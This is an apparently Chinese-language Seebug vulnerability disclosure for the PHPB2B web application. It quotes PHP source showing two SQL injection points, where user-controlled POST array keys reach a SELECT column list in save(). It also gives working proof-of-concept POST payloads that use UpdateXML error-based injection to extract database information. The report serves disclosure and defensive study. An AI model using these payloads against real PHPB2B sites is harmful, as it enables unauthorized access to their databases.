### 简要描述：
RT
### 详细说明：
在friendlink_control.php中：
```
function add()
{
global $smarty;
using( "message");
$pms = new Messages();
if (isset($_POST['do']) && !empty($_POST['friendlink'])) {
pb_submit_check('friendlink');
$data = $_POST['friendlink'];
$result = false;
$data['status'] = 0;
$data['created'] = $data['modified'] = $this->friendlink->timestamp;
$result = $this->friendlink->save($data);
if ($result) {
$pms->SendToAdmin('', array(
"title"=>$data['title'].L("apply_friendlink"),
"content"=>$data['title'].L("apply_friendlink")."\n".$_POST['data']['email']."\n".$data['description'],
));
flash('wait_apply');
}
}else{
flash();
}
}
```
程序中有这样一段代码：$data=$_POST['friendlink']，然后程序在后面为$data赋值，从赋值的形式来看，知道$data是一个数组。既然是数组 我们就可以利用POST提交一个friendlink[]=XXX 这种形式的数据上去，就可以覆盖控制$data的数组值。
然后程序执行了$result = $this->friendlink->save($data);
```
function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false)
{
$new_id = $result = false;
$keys = array_keys($posts);
$cols = implode($keys,",");
$tbname = (is_null($tbname))? $this->getTable():trim($tbname);
$this->table_name = $tbname;
//Todo:2010.04.14, by steven
if(!empty($id)){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";
}elseif(!empty($posts[$this->primaryKey])){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'";
}else{
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'";
}
if (!is_null($conditions)) {
if (!empty($conditions)) {
if (is_array($conditions)) {
$condition = implode(" AND ", $conditions);
}else{
$condition = $conditions;
}
}
$sql.= " AND ".$condition;
}
$rs = $this->dbstuff->Execute($sql);
```
以上是save方法的一部分，其中$posts就是之前的$data，并且是一个数组形式，key和value都可控。
接着程序获取了$posts的keys，并且将其转换为字符串，最后入到到sql语句中执行。 由于注入点是column 所以我们只需要一个注释符就可以实现注入。
POC: phpb2b/index.php?do=friendlink&action=add
post: friendlink[(UpdateXML(1,CONCAT(0x5b,user(),0x5d),1))%23]=1&do=1&friendlink[id]=1&formhash=02d40d85c2dd1208&is_ajax=1
这里的formhash是一个token，可以页面上的表单中获取。
这里开启debug方便测试（实际情况下可以使用盲注）
[<img src="https://images.seebug.org/upload/201503/1620462155bd8513aa967dd111a133b02f810260.png" alt="BaiduHi_2015-3-16_20-45-48.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/1620462155bd8513aa967dd111a133b02f810260.png)
漏洞二:
在文件message_control.php中：
```
function add()
{
global $pb_user, $smarty, $administrator_id;
if (isset($_POST['companyid']) && !empty($_POST['feed']) && !empty($pb_user['pb_userid'])) {
$vals = $_POST['feed'];
$vals['created'] = $this->message->timestamp;
$vals['status'] = 0;
$vals['from_member_id'] = $pb_user['pb_userid'];
$vals['cache_from_username'] = $pb_user['pb_username'];
$member_id = $this->message->GetOne("SELECT member_id FROM {$this->message->table_prefix}companies WHERE id=".intval($_POST['companyid']));
if (empty($member_id)) {
$vals['to_member_id'] = $administrator_id;
$vals['cache_to_username'] = $this->message->GetOne("SELECT username FROM {$this->message->table_prefix}members WHERE id=".$administrator_id);
}else{
$member_info = $this->message->GetRow("SELECT id,username FROM {$this->message->table_prefix}members WHERE id=".$member_id);
$vals['to_member_id'] = $member_info['id'];
$vals['cache_to_username'] = $member_info['username'];
}
$vals['title'] = L("pms_from_space", "tpl");
if($this->message->save($vals)){
$smarty->flash('feedback_already_submit', null, 0);
}
}
}
```
我们看到同样$vals=$_POST['feed']，然后将$vals导入到了save方法,漏洞的形成和上面的一样。不再累赘.
POC： phpb2b/index.php?do=message&action=add
post: feed[(UpdateXML(1,CONCAT(0x5b,user(),0x5d),1))%23]=1&do=1&friendlink[id]=1&formhash=02d40d85c2dd1208&companyid=1
[<img src="https://images.seebug.org/upload/201503/162054141853bcc8f84e5ec341856ce3f9795007.png" alt="BaiduHi_2015-3-16_20-45-48.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/162054141853bcc8f84e5ec341856ce3f9795007.png)
### 漏洞证明：
POC： phpb2b/index.php?do=message&action=add
post: feed[(UpdateXML(1,CONCAT(0x5b,user(),0x5d),1))%23]=1&do=1&friendlink[id]=1&formhash=02d40d85c2dd1208&companyid=1
[<img src="https://images.seebug.org/upload/201503/162054141853bcc8f84e5ec341856ce3f9795007.png" alt="BaiduHi_2015-3-16_20-45-48.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/162054141853bcc8f84e5ec341856ce3f9795007.png)
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